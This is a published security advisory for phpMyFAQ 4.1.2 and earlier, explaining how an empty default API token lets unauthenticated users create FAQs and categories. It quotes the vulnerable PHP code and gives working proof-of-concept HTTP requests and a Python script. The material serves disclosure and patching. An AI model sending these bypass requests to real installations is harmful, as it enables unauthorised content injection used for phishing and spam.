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Security Advisory Submission: Default Empty API Token Authentication Bypass

High
thorsten published GHSA-gp95-j463-vv28 May 14, 2026

Package

composer thorsten/phpmyfaq (Composer)

Affected versions

<= 4.1.2

Patched versions

4.1.3

Description

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

File Endpoint Method
src/.../Controller/Api/FaqController.php:701-703 /api/v4.0/faq/create POST
src/.../Controller/Api/FaqController.php:857-859 /api/v4.0/faq/update PUT
src/.../Controller/Api/CategoryController.php:278-280 /api/v4.0/category POST
src/.../Controller/Api/QuestionController.php:89-91 /api/v4.0/question POST

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "test@test.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "r@t.com",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Test x-pmf-token HTTP Status Result
No auth header (not sent) 401 Unauthorized 🔒 Correctly blocked
Empty token header "" 201 Created 🔓 Bypass confirmed
Category creation "" 201 Created 🔓 Bypass confirmed
Public verification (not needed) 200 OK 📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N7.5 (High)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE ID

No known CVE

Weaknesses

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

Credits